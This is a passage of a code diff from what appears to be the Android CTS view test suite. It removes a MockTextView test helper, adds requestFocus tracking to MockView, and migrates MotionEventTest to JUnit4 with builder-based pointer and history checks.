-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        isOnConfigurationChangedCalled = true;
-    }
-
-    @Override
-    public void onLowMemory() {
-        super.onLowMemory();
-        isOnLowMemoryCalled = true;
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/MockTextView.java b/tests/tests/view/src/android/view/cts/MockTextView.java
deleted file mode 100644
index 0c73614..0000000
--- a/tests/tests/view/src/android/view/cts/MockTextView.java
+++ /dev/null
@@ -1,224 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.content.Context;
-import android.graphics.Canvas;
-import android.graphics.Rect;
-import android.graphics.drawable.Drawable;
-import android.os.Bundle;
-import android.text.method.MovementMethod;
-import android.util.AttributeSet;
-import android.view.ContextMenu;
-import android.view.KeyEvent;
-import android.widget.TextView;
-
-public class MockTextView extends TextView {
-    private boolean mHasCalledOnCreateContextMenu;
-    private boolean mHasCalledOnFocusChanged;
-    private boolean mHasCalledOnMeasure;
-    private boolean mHasCalledOnTextChanged;
-    private boolean mHasCalledDrawableStateChanged;
-    private boolean mHasCalledOnWindowFocusChanged;
-    private boolean mHasCalledOnPrivateIMECommand;
-    private boolean mHasCalledOnKeyMultiple;
-
-    public MockTextView(Context context) {
-        super(context);
-    }
-
-    public MockTextView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MockTextView(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
-    }
-
-    public boolean hasCalledOnWindowFocusChanged() {
-        return mHasCalledOnWindowFocusChanged;
-    }
-
-    public boolean hasCalledOnCreateContextMenu() {
-        return mHasCalledOnCreateContextMenu;
-    }
-
-    public boolean hasCalledDrawableStateChanged() {
-        return mHasCalledDrawableStateChanged;
-    }
-
-    public boolean hasCalledOnFocusChanged() {
-        return mHasCalledOnFocusChanged;
-    }
-
-    public boolean hasCalledOnMeasure() {
-        return mHasCalledOnMeasure;
-    }
-
-    public boolean hasCalledOnTextChanged() {
-        return mHasCalledOnTextChanged;
-    }
-
-    public boolean hasCalledOnPrivateIMECommand() {
-        return mHasCalledOnPrivateIMECommand;
-    }
-
-    public boolean hasCalledOnKeyMultiple(){
-        return mHasCalledOnKeyMultiple;
-    }
-
-    public void reset() {
-        mHasCalledOnWindowFocusChanged = false;
-        mHasCalledDrawableStateChanged = false;
-        mHasCalledOnCreateContextMenu = false;
-        mHasCalledOnFocusChanged = false;
-        mHasCalledOnMeasure = false;
-        mHasCalledOnTextChanged = false;
-        mHasCalledOnPrivateIMECommand = false;
-        mHasCalledOnKeyMultiple = false;
-    }
-
-    public int computeHorizontalScrollRange() {
-        return super.computeHorizontalScrollRange();
-    }
-
-    public int computeVerticalScrollRange() {
-        return super.computeVerticalScrollRange();
-    }
-
-    @Override
-    protected void drawableStateChanged() {
-        super.drawableStateChanged();
-        mHasCalledDrawableStateChanged = true;
-    }
-
-    public boolean getDefaultEditable() {
-        return super.getDefaultEditable();
-    }
-
-    public MovementMethod getDefaultMovementMethod() {
-        return super.getDefaultMovementMethod();
-    }
-
-    @Override
-    protected void onCreateContextMenu(ContextMenu menu) {
-        super.onCreateContextMenu(menu);
-        mHasCalledOnCreateContextMenu = true;
-    }
-
-    @Override
-    protected void onDetachedFromWindow() {
-        super.onDetachedFromWindow();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-    }
-
-    @Override
-    protected void onFocusChanged(boolean focused, int direction, Rect previouslyFocusedRect) {
-        super.onFocusChanged(focused, direction, previouslyFocusedRect);
-        mHasCalledOnFocusChanged = true;
-    }
-
-    @Override
-    public boolean onKeyMultiple(int keyCode, int repeatCount, KeyEvent event) {
-        mHasCalledOnKeyMultiple = true;
-        return super.onKeyMultiple(keyCode, repeatCount, event);
-    }
-
-    @Override
-    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
-        super.onMeasure(widthMeasureSpec, heightMeasureSpec);
-        mHasCalledOnMeasure = true;
-    }
-
-    @Override
-    protected void onTextChanged(CharSequence text, int start, int before, int after) {
-        super.onTextChanged(text, start, before, after);
-        mHasCalledOnTextChanged = true;
-    }
-
-    public boolean setFrame(int l, int t, int r, int b) {
-        return super.setFrame(l, t, r, b);
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasWindowFocus) {
-        super.onWindowFocusChanged(hasWindowFocus);
-        mHasCalledOnWindowFocusChanged = true;
-    }
-
-    public float getLeftFadingEdgeStrength() {
-        return super.getLeftFadingEdgeStrength();
-    }
-
-    public float getRightFadingEdgeStrength() {
-        return super.getRightFadingEdgeStrength();
-    }
-
-    @Override
-    public boolean onPrivateIMECommand(String action, Bundle data) {
-        mHasCalledOnPrivateIMECommand = true;
-        return super.onPrivateIMECommand(action, data);
-    }
-
-    public int getFrameLeft() {
-        return getLeft();
-    }
-
-    public int getFrameTop() {
-        return getTop();
-    }
-
-    public int getFrameRight() {
-        return getRight();
-    }
-
-    public int getFrameBottom() {
-        return getBottom();
-    }
-
-    public int getBottomPaddingOffset() {
-        return super.getBottomPaddingOffset();
-    }
-
-    public int getLeftPaddingOffset() {
-        return super.getLeftPaddingOffset();
-    }
-
-    public int getRightPaddingOffset() {
-        return super.getRightPaddingOffset();
-    }
-
-    public int getTopPaddingOffset() {
-        return super.getTopPaddingOffset();
-    }
-
-    public boolean isPaddingOffsetRequired() {
-        return super.isPaddingOffsetRequired();
-    }
-
-    public boolean verifyDrawable(Drawable who) {
-        return super.verifyDrawable(who);
-    }
-
-    public int computeVerticalScrollExtent() {
-        return super.computeVerticalScrollExtent();
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/MockView.java b/tests/tests/view/src/android/view/cts/MockView.java
index 6b2cc18..022609a 100644
--- a/tests/tests/view/src/android/view/cts/MockView.java
+++ b/tests/tests/view/src/android/view/cts/MockView.java
@@ -25,12 +25,12 @@
 import android.util.AttributeSet;
 import android.util.SparseArray;
 import android.view.ContextMenu;
+import android.view.ContextMenu.ContextMenuInfo;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 import android.view.PointerIcon;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.ContextMenu.ContextMenuInfo;
 
 public class MockView extends View {
     private boolean mCalledOnCreateContextMenu = false;
@@ -71,6 +71,7 @@
     private boolean mCalledOnKeyPreIme = false;
     private boolean mCalledOnResolvePointerIcon = false;
     private boolean mCalledOnVisibilityAggregated = false;
+    private boolean mCalledRequestFocus = false;
 
     private int mOldWidth = -1;
     private int mOldHeight = -1;
@@ -626,10 +627,20 @@
         mLastAggregatedVisibility = isVisible;
     }
 
+    @Override
+    public boolean requestFocus(int direction, Rect previouslyFocusedRect) {
+        mCalledRequestFocus = true;
+        return super.requestFocus(direction, previouslyFocusedRect);
+    }
+
     public boolean hasCalledOnVisibilityAggregated() {
         return mCalledOnVisibilityAggregated;
     }
 
+    public boolean hasCalledRequestFocus() {
+        return mCalledRequestFocus;
+    }
+
     public boolean getLastAggregatedVisibility() {
         return mLastAggregatedVisibility;
     }
@@ -674,7 +685,7 @@
         mCalledOnKeyPreIme = false;
         mCalledOnResolvePointerIcon = false;
         mCalledOnVisibilityAggregated = false;
-        mCalledOnVisibilityAggregated = false;
+        mCalledRequestFocus = false;
 
         mOldWidth = -1;
         mOldHeight = -1;
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index 10ea33a..f9b2e4f 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -16,24 +16,44 @@
 
 package android.view.cts;
 
+import static android.view.cts.MotionEventUtils.withCoords;
+import static android.view.cts.MotionEventUtils.withProperties;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.graphics.Matrix;
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 import android.view.MotionEvent.PointerCoords;
 import android.view.MotionEvent.PointerProperties;
+import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
+import android.view.cts.MotionEventUtils.PointerPropertiesBuilder;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link MotionEvent}.
  */
-public class MotionEventTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MotionEventTest {
     private MotionEvent mMotionEvent1;
     private MotionEvent mMotionEvent2;
+    private MotionEvent mMotionEventDynamic;
     private long mDownTime;
     private long mEventTime;
     private static final float X_3F           = 3.0f;
@@ -47,10 +67,8 @@
     private static final int EDGE_FLAGS       = MotionEvent.EDGE_TOP;
     private static final float DELTA          = 0.01f;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() {
         mDownTime = SystemClock.uptimeMillis();
         mEventTime = SystemClock.uptimeMillis();
         mMotionEvent1 = MotionEvent.obtain(mDownTime, mEventTime,
@@ -60,18 +78,21 @@
                 X_PRECISION_3F, Y_PRECISION_4F, DEVICE_ID_1, EDGE_FLAGS);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() {
         if (null != mMotionEvent1) {
             mMotionEvent1.recycle();
         }
         if (null != mMotionEvent2) {
             mMotionEvent2.recycle();
         }
-        super.tearDown();
+        if (null != mMotionEventDynamic) {
+            mMotionEventDynamic.recycle();
+        }
     }
 
-    public void testObtain1() {
+    @Test
+    public void testObtainBasic() {
         mMotionEvent1 = MotionEvent.obtain(mDownTime, mEventTime,
                 MotionEvent.ACTION_DOWN, X_3F, Y_4F, META_STATE);
         assertNotNull(mMotionEvent1);
@@ -91,49 +112,110 @@
         assertEquals(1.0f, mMotionEvent1.getYPrecision(), DELTA);
     }
 
-    public void testObtain2() {
-        MotionEvent motionEvent = MotionEvent.obtain(mDownTime, mEventTime,
-                MotionEvent.ACTION_DOWN, X_3F, Y_4F, META_STATE);
-        mMotionEvent1 = MotionEvent.obtain(motionEvent);
-        assertNotNull(mMotionEvent1);
-        assertEquals(motionEvent.getDownTime(), mMotionEvent1.getDownTime());
-        assertEquals(motionEvent.getEventTime(), mMotionEvent1.getEventTime());
-        assertEquals(motionEvent.getAction(), mMotionEvent1.getAction());
-        assertEquals(motionEvent.getX(), mMotionEvent1.getX(), DELTA);
-        assertEquals(motionEvent.getY(), mMotionEvent1.getY(), DELTA);
-        assertEquals(motionEvent.getX(), mMotionEvent1.getRawX(), DELTA);
-        assertEquals(motionEvent.getY(), mMotionEvent1.getRawY(), DELTA);
-        assertEquals(motionEvent.getMetaState(), mMotionEvent1.getMetaState());
-        assertEquals(motionEvent.getDeviceId(), mMotionEvent1.getDeviceId());
-        assertEquals(motionEvent.getEdgeFlags(), mMotionEvent1.getEdgeFlags());
-        assertEquals(motionEvent.getPressure(), mMotionEvent1.getPressure(), DELTA);
-        assertEquals(motionEvent.getSize(), mMotionEvent1.getSize(), DELTA);
-        assertEquals(motionEvent.getXPrecision(), mMotionEvent1.getXPrecision(), DELTA);
-        assertEquals(motionEvent.getYPrecision(), mMotionEvent1.getYPrecision(), DELTA);
+    @Test
+    public void testObtainFromMotionEvent() {
+        mMotionEventDynamic = MotionEvent.obtain(mMotionEvent2);
+        assertNotNull(mMotionEventDynamic);
+        assertEquals(mMotionEvent2.getDownTime(), mMotionEventDynamic.getDownTime());
+        assertEquals(mMotionEvent2.getEventTime(), mMotionEventDynamic.getEventTime());
+        assertEquals(mMotionEvent2.getAction(), mMotionEventDynamic.getAction());
+        assertEquals(mMotionEvent2.getX(), mMotionEventDynamic.getX(), DELTA);
+        assertEquals(mMotionEvent2.getY(), mMotionEventDynamic.getY(), DELTA);
+        assertEquals(mMotionEvent2.getX(), mMotionEventDynamic.getRawX(), DELTA);
+        assertEquals(mMotionEvent2.getY(), mMotionEventDynamic.getRawY(), DELTA);
+        assertEquals(mMotionEvent2.getMetaState(), mMotionEventDynamic.getMetaState());
+        assertEquals(mMotionEvent2.getDeviceId(), mMotionEventDynamic.getDeviceId());
+        assertEquals(mMotionEvent2.getEdgeFlags(), mMotionEventDynamic.getEdgeFlags());
+        assertEquals(mMotionEvent2.getPressure(), mMotionEventDynamic.getPressure(), DELTA);
+        assertEquals(mMotionEvent2.getSize(), mMotionEventDynamic.getSize(), DELTA);
+        assertEquals(mMotionEvent2.getXPrecision(), mMotionEventDynamic.getXPrecision(), DELTA);
+        assertEquals(mMotionEvent2.getYPrecision(), mMotionEventDynamic.getYPrecision(), DELTA);
     }
 
-    public void testObtain3() {
-        mMotionEvent1 = null;
-        mMotionEvent1 = MotionEvent.obtain(mDownTime, mEventTime,
+    @Test
+    public void testObtainAllFields() {
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
                 MotionEvent.ACTION_DOWN, X_3F, Y_4F, PRESSURE_1F, SIZE_1F, META_STATE,
                 X_PRECISION_3F, Y_PRECISION_4F, DEVICE_ID_1, EDGE_FLAGS);
-        assertNotNull(mMotionEvent1);
-        assertEquals(mDownTime, mMotionEvent1.getDownTime());
-        assertEquals(mEventTime, mMotionEvent1.getEventTime());
-        assertEquals(MotionEvent.ACTION_DOWN, mMotionEvent1.getAction());
-        assertEquals(X_3F, mMotionEvent1.getX(), DELTA);
-        assertEquals(Y_4F, mMotionEvent1.getY(), DELTA);
-        assertEquals(X_3F, mMotionEvent1.getRawX(), DELTA);
-        assertEquals(Y_4F, mMotionEvent1.getRawY(), DELTA);
-        assertEquals(META_STATE, mMotionEvent1.getMetaState());
-        assertEquals(DEVICE_ID_1, mMotionEvent1.getDeviceId());
-        assertEquals(EDGE_FLAGS, mMotionEvent1.getEdgeFlags());
-        assertEquals(PRESSURE_1F, mMotionEvent1.getPressure(), DELTA);
-        assertEquals(SIZE_1F, mMotionEvent1.getSize(), DELTA);
-        assertEquals(X_PRECISION_3F, mMotionEvent1.getXPrecision(), DELTA);
-        assertEquals(Y_PRECISION_4F, mMotionEvent1.getYPrecision(), DELTA);
+        assertNotNull(mMotionEventDynamic);
+        assertEquals(mDownTime, mMotionEventDynamic.getDownTime());
+        assertEquals(mEventTime, mMotionEventDynamic.getEventTime());
+        assertEquals(MotionEvent.ACTION_DOWN, mMotionEventDynamic.getAction());
+        assertEquals(X_3F, mMotionEventDynamic.getX(), DELTA);
+        assertEquals(Y_4F, mMotionEventDynamic.getY(), DELTA);
+        assertEquals(X_3F, mMotionEventDynamic.getRawX(), DELTA);
+        assertEquals(Y_4F, mMotionEventDynamic.getRawY(), DELTA);
+        assertEquals(META_STATE, mMotionEventDynamic.getMetaState());
+        assertEquals(DEVICE_ID_1, mMotionEventDynamic.getDeviceId());
+        assertEquals(EDGE_FLAGS, mMotionEventDynamic.getEdgeFlags());
+        assertEquals(PRESSURE_1F, mMotionEventDynamic.getPressure(), DELTA);
+        assertEquals(SIZE_1F, mMotionEventDynamic.getSize(), DELTA);
+        assertEquals(X_PRECISION_3F, mMotionEventDynamic.getXPrecision(), DELTA);
+        assertEquals(Y_PRECISION_4F, mMotionEventDynamic.getYPrecision(), DELTA);
     }
 
+    @Test
+    public void testObtainFromPropertyArrays() {
+        PointerCoordsBuilder coordsBuilder0 =
+                withCoords(X_3F, Y_4F).withPressure(PRESSURE_1F).withSize(SIZE_1F).
+                        withTool(1.2f, 1.4f);
+        PointerCoordsBuilder coordsBuilder1 =
+                withCoords(X_3F + 1.0f, Y_4F - 2.0f).withPressure(PRESSURE_1F + 0.2f).
+                        withSize(SIZE_1F + 0.5f).withTouch(2.2f, 0.6f);
+
+        PointerPropertiesBuilder propertiesBuilder0 =
+                withProperties(0, MotionEvent.TOOL_TYPE_FINGER);
+        PointerPropertiesBuilder propertiesBuilder1 =
+                withProperties(1, MotionEvent.TOOL_TYPE_FINGER);
+
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_MOVE, 2,
+                new PointerProperties[] { propertiesBuilder0.build(), propertiesBuilder1.build() },
+                new PointerCoords[] { coordsBuilder0.build(), coordsBuilder1.build() },
+                META_STATE, 0, X_PRECISION_3F, Y_PRECISION_4F, DEVICE_ID_1, EDGE_FLAGS,
+                InputDevice.SOURCE_TOUCHSCREEN, 0);
+
+        // We expect to have data for two pointers
+        assertEquals(2, mMotionEventDynamic.getPointerCount());
+        assertEquals(0, mMotionEventDynamic.getPointerId(0));
+        assertEquals(1, mMotionEventDynamic.getPointerId(1));
+        assertEquals(0, mMotionEventDynamic.getFlags());
+        verifyCurrentPointerData(mMotionEventDynamic,
+                new PointerPropertiesBuilder[] { propertiesBuilder0, propertiesBuilder1 },
+                new PointerCoordsBuilder[] { coordsBuilder0, coordsBuilder1 });
+    }
+
+    @Test
+    public void testObtainNoHistory() {
+        // Add two batch to one of our events
+        mMotionEvent2.addBatch(mEventTime + 10, X_3F + 5.0f, Y_4F + 5.0f, 0.5f, 0.5f, 0);
+        mMotionEvent2.addBatch(mEventTime + 20, X_3F + 10.0f, Y_4F + 15.0f, 2.0f, 3.0f, 0);
+        // The newly added batch should be the "new" values of the event
+        withCoords(X_3F + 10.0f, Y_4F + 15.0f).withPressure(2.0f).withSize(3.0f).
+                verifyMatches(mMotionEvent2);
+        assertEquals(mEventTime + 20, mMotionEvent2.getEventTime());
+        // We should have history with 2 entries
+        assertEquals(2, mMotionEvent2.getHistorySize());
+        // The previous data should be history at index 1
+        withCoords(X_3F + 5.0f, Y_4F + 5.0f).withPressure(0.5f).withSize(0.5f).
+                verifyMatchesHistorical(mMotionEvent2, 1);
+        assertEquals(mEventTime + 10, mMotionEvent2.getHistoricalEventTime(1));
+        // And the original data should be history at index 0
+        withCoords(X_3F, Y_4F).withPressure(1.0f).withSize(1.0f).
+                verifyMatchesHistorical(mMotionEvent2, 0);
+        assertEquals(mEventTime, mMotionEvent2.getHistoricalEventTime(0));
+
+        assertEquals(2, mMotionEvent2.getHistorySize());
+
+        mMotionEventDynamic = MotionEvent.obtainNoHistory(mMotionEvent2);
+        // The newly obtained event should have the matching current content
+        withCoords(X_3F + 10.0f, Y_4F + 15.0f).withPressure(2.0f).withSize(3.0f).
+                verifyMatches(mMotionEvent2);
+        // And no history
+        assertEquals(0, mMotionEventDynamic.getHistorySize());
+    }
+
+    @Test
     public void testAccessAction() {
         assertEquals(MotionEvent.ACTION_MOVE, mMotionEvent1.getAction());
 
@@ -150,11 +232,13 @@
         assertEquals(MotionEvent.ACTION_DOWN, mMotionEvent1.getAction());
     }
 
+    @Test
     public void testDescribeContents() {
         // make sure this method never throw any exception.
         mMotionEvent2.describeContents();
     }
 
+    @Test
     public void testAccessEdgeFlags() {
         assertEquals(EDGE_FLAGS, mMotionEvent2.getEdgeFlags());
 
@@ -163,6 +247,7 @@
         assertEquals(edgeFlags, mMotionEvent2.getEdgeFlags());
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel parcel = Parcel.obtain();
         mMotionEvent2.writeToParcel(parcel, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
@@ -180,6 +265,7 @@
         assertEquals(mMotionEvent2.getDeviceId(), motionEvent.getDeviceId());
     }
 
+    @Test
     public void testReadFromParcelWithInvalidPointerCountSize() {
         Parcel parcel = Parcel.obtain();
         mMotionEvent2.writeToParcel(parcel, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
@@ -197,6 +283,7 @@
         }
     }
 
+    @Test
     public void testReadFromParcelWithInvalidSampleSize() {
         Parcel parcel = Parcel.obtain();
         mMotionEvent2.writeToParcel(parcel, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
@@ -214,11 +301,13 @@
         }
     }
 
+    @Test
     public void testToString() {
         // make sure this method never throw exception.
         mMotionEvent2.toString();
     }
 
+    @Test
     public void testOffsetLocation() {
         assertEquals(X_3F, mMotionEvent2.getX(), DELTA);
         assertEquals(Y_4F, mMotionEvent2.getY(), DELTA);
@@ -226,104 +315,233 @@
         float offsetX = 1.0f;
         float offsetY = 1.0f;
         mMotionEvent2.offsetLocation(offsetX, offsetY);
-        assertEquals(X_3F + offsetX, mMotionEvent2.getX(), DELTA);
-        assertEquals(Y_4F + offsetY, mMotionEvent2.getY(), DELTA);
+        withCoords(X_3F + offsetX, Y_4F + offsetY).withPressure(PRESSURE_1F).withSize(SIZE_1F).
+                verifyMatches(mMotionEvent2);
     }
 
+    @Test
     public void testSetLocation() {
         assertEquals(X_3F, mMotionEvent2.getX(), DELTA);
         assertEquals(Y_4F, mMotionEvent2.getY(), DELTA);
 
-        float newLocationX = 0.0f;
-        float newLocationY = 0.0f;
-        mMotionEvent2.setLocation(newLocationX, newLocationY);
-        assertEquals(newLocationX, mMotionEvent2.getX(), DELTA);
-        assertEquals(newLocationY, mMotionEvent2.getY(), DELTA);
+        mMotionEvent2.setLocation(0.0f, 0.0f);
+        withCoords(0.0f, 0.0f).withPressure(PRESSURE_1F).withSize(SIZE_1F).
+                verifyMatches(mMotionEvent2);
 
-        newLocationX = 2.0f;
-        newLocationY = 2.0f;
-        mMotionEvent2.setLocation(newLocationX, newLocationY);
-        assertEquals(newLocationX, mMotionEvent2.getX(), DELTA);
-        assertEquals(newLocationY, mMotionEvent2.getY(), DELTA);
+        mMotionEvent2.setLocation(2.0f, 2.0f);
+        withCoords(2.0f, 2.0f).withPressure(PRESSURE_1F).withSize(SIZE_1F).
+                verifyMatches(mMotionEvent2);
     }
 
-    public void testGetHistoricalX() {
-        float x = X_3F + 5.0f;
-        mMotionEvent2.addBatch(mEventTime, x, 5.0f, 1.0f, 0.0f, 0);
-        assertEquals(X_3F, mMotionEvent2.getHistoricalX(0), DELTA);
+    @Test
+    public void testGetHistoricalData() {
+        assertEquals(0, mMotionEvent2.getHistorySize());
 
-        mMotionEvent2.addBatch(mEventTime, X_3F + 10.0f, 10.0f, 0.0f, 1.0f, 0);
-        assertEquals(x, mMotionEvent2.getHistoricalX(1), DELTA);
-    }
-
-    public void testGetHistoricalY() {
-        float y = Y_4F + 5.0f;
-        mMotionEvent2.addBatch(mEventTime, 5.0f, y, 1.0f, 0.0f, 0);
-        assertEquals(Y_4F, mMotionEvent2.getHistoricalY(0), DELTA);
-
-        mMotionEvent2.addBatch(mEventTime, 15.0f, Y_4F + 15.0f, 0.0f, 1.0f, 0);
-        assertEquals(y, mMotionEvent2.getHistoricalY(1), DELTA);
-    }
-
-    public void testGetHistoricalSize() {
-        float size = 0.5f;
-        mMotionEvent2.addBatch(mEventTime, 5.0f, 5.0f, 1.0f, size, 0);
-        assertEquals(SIZE_1F, mMotionEvent2.getHistoricalSize(0), DELTA);
-
-        mMotionEvent2.addBatch(mEventTime, 15.0f, 15.0f, 1.0f, 0.0f, 0);
-        assertEquals(size, mMotionEvent2.getHistoricalSize(1), DELTA);
-    }
-
-    public void testGetHistoricalPressure() {
-        float pressure = 0.5f;
-        mMotionEvent2.addBatch(mEventTime, 5.0f, 5.0f, pressure, 0.0f, 0);
-        assertEquals(PRESSURE_1F, mMotionEvent2.getHistoricalPressure(0), DELTA);
-
-        mMotionEvent2.addBatch(mEventTime, 15.0f, 15.0f, 0.0f, 0.0f, 0);
-        assertEquals(pressure, mMotionEvent2.getHistoricalPressure(1), DELTA);
-    }
-
-    public void testGetHistoricalEventTime() {
-        long eventTime = mEventTime + 5l;
-        mMotionEvent2.addBatch(eventTime, 5.0f, 5.0f, 0.0f, 1.0f, 0);
+        mMotionEvent2.addBatch(mEventTime + 10, X_3F + 5.0f, Y_4F + 5.0f, 0.5f, 0.5f, 0);
+        // The newly added batch should be the "new" values of the event
+        withCoords(X_3F + 5.0f, Y_4F + 5.0f).withPressure(0.5f).withSize(0.5f).
+                verifyMatches(mMotionEvent2);
+        assertEquals(mEventTime + 10, mMotionEvent2.getEventTime());
+        // We should have history with 1 entry
+        assertEquals(1, mMotionEvent2.getHistorySize());
+        // And the previous / original data should be history at index 0
+        assertEquals(1, mMotionEvent2.getHistorySize());
+        withCoords(X_3F, Y_4F).withPressure(1.0f).withSize(1.0f).
+                verifyMatchesHistorical(mMotionEvent2, 0);
         assertEquals(mEventTime, mMotionEvent2.getHistoricalEventTime(0));
 
-        mMotionEvent2.addBatch(mEventTime + 10l, 15.0f, 15.0f, 1.0f, 0.0f, 0);
-        assertEquals(eventTime, mMotionEvent2.getHistoricalEventTime(1));
-    }
-
-    public void testAddBatch() {
-        long eventTime = SystemClock.uptimeMillis();
-        float x = 10.0f;
-        float y = 20.0f;
-        float pressure = 1.0f;
-        float size = 1.0f;
-
-        // get original attribute values.
-        long origEventTime = mMotionEvent2.getEventTime();
-        float origX = mMotionEvent2.getX();
-        float origY = mMotionEvent2.getY();
-        float origPressure = mMotionEvent2.getPressure();
-        float origSize = mMotionEvent2.getSize();
-
-        assertEquals(0, mMotionEvent2.getHistorySize());
-        mMotionEvent2.addBatch(eventTime, x, y, pressure, size, 0);
-        assertEquals(1, mMotionEvent2.getHistorySize());
-        assertEquals(origEventTime, mMotionEvent2.getHistoricalEventTime(0));
-        assertEquals(origX, mMotionEvent2.getHistoricalX(0), DELTA);
-        assertEquals(origY, mMotionEvent2.getHistoricalY(0), DELTA);
-        assertEquals(origPressure, mMotionEvent2.getHistoricalPressure(0), DELTA);
-        assertEquals(origSize, mMotionEvent2.getHistoricalSize(0), DELTA);
-
-        mMotionEvent2.addBatch(mEventTime, 6, 6, 0.1f, 0, 0);
+        // Add another update batch to our event
+        mMotionEvent2.addBatch(mEventTime + 20, X_3F + 10.0f, Y_4F + 15.0f, 2.0f, 3.0f, 0);
+        // The newly added batch should be the "new" values of the event
+        withCoords(X_3F + 10.0f, Y_4F + 15.0f).withPressure(2.0f).withSize(3.0f).
+                verifyMatches(mMotionEvent2);
+        assertEquals(mEventTime + 20, mMotionEvent2.getEventTime());
+        // We should have history with 2 entries
         assertEquals(2, mMotionEvent2.getHistorySize());
-        assertEquals(eventTime, mMotionEvent2.getHistoricalEventTime(1));
-        assertEquals(x, mMotionEvent2.getHistoricalX(1), DELTA);
-        assertEquals(y, mMotionEvent2.getHistoricalY(1), DELTA);
-        assertEquals(pressure, mMotionEvent2.getHistoricalPressure(1), DELTA);
-        assertEquals(size, mMotionEvent2.getHistoricalSize(1), DELTA);
+        // The previous data should be history at index 1
+        withCoords(X_3F + 5.0f, Y_4F + 5.0f).withPressure(0.5f).withSize(0.5f).
+                verifyMatchesHistorical(mMotionEvent2, 1);
+        assertEquals(mEventTime + 10, mMotionEvent2.getHistoricalEventTime(1));
+        // And the original data should be history at index 0
+        withCoords(X_3F, Y_4F).withPressure(1.0f).withSize(1.0f).
+                verifyMatchesHistorical(mMotionEvent2, 0);
+        assertEquals(mEventTime, mMotionEvent2.getHistoricalEventTime(0));
     }
 
+    private static void verifyCurrentPointerData(MotionEvent motionEvent,
+            PointerPropertiesBuilder[] pointerPropertiesBuilders,
+            PointerCoordsBuilder[] pointerCoordsBuilders) {
+        assertNotNull(motionEvent);
+        assertNotNull(pointerPropertiesBuilders);
+        assertNotNull(pointerCoordsBuilders);
+        final int pointerCount = motionEvent.getPointerCount();
+        assertEquals(pointerCount, pointerPropertiesBuilders.length);
+        assertEquals(pointerCount, pointerCoordsBuilders.length);
+
+        // Test that we have the expected data fetched via MotionEvent.getPointerCoords API
+        for (int i = 0; i < pointerCount; i++) {
+            pointerCoordsBuilders[i].verifyMatchesPointerCoords(motionEvent, i);
+        }
+
+        // Test that we have the expected data fetched via per-field MotionEvent getter APIs
+        for (int i = 0; i < pointerCount; i++) {
+            pointerCoordsBuilders[i].verifyMatches(motionEvent, i);
+        }
+
+        // Test that we have the expected data fetched via MotionEvent.getPointerProperties API
+        for (int i = 0; i < pointerCount; i++) {
+            pointerPropertiesBuilders[i].verifyMatchesPointerProperties(motionEvent, i);
+        }
+
+        // Test that we have the expected data fetched via per-field MotionEvent getter APIs
+        for (int i = 0; i < pointerCount; i++) {
+            pointerPropertiesBuilders[i].verifyMatches(motionEvent, i);
+        }
+    }
+
+    private static void verifyHistoricalPointerData(MotionEvent motionEvent,
+            PointerCoordsBuilder[] pointerCoordsBuilders, int pos) {
+        assertNotNull(motionEvent);
+        assertNotNull(pointerCoordsBuilders);
+        final int pointerCount = motionEvent.getPointerCount();
+        assertEquals(pointerCount, pointerCoordsBuilders.length);
+
+        // Test that we have the expected data fetched via MotionEvent.getHistoricalPointerCoords
+        // API
+        for (int i = 0; i < pointerCount; i++) {
+            pointerCoordsBuilders[i].verifyMatchesHistoricalPointerCoords(motionEvent, i, pos);
+        }
+
+        // Test that we have the expected data fetched via per-field MotionEvent getter APIs
+        for (int i = 0; i < pointerCount; i++) {
+            pointerCoordsBuilders[i].verifyMatchesHistorical(motionEvent, i, pos);
+        }
+    }
+
+    @Test
+    public void testGetCurrentDataWithTwoPointers() {
+        PointerCoordsBuilder coordsBuilder0 =
+                withCoords(10.0f, 20.0f).withPressure(1.2f).withSize(2.0f).withTool(1.2f, 1.4f);
+        PointerCoordsBuilder coordsBuilder1 =
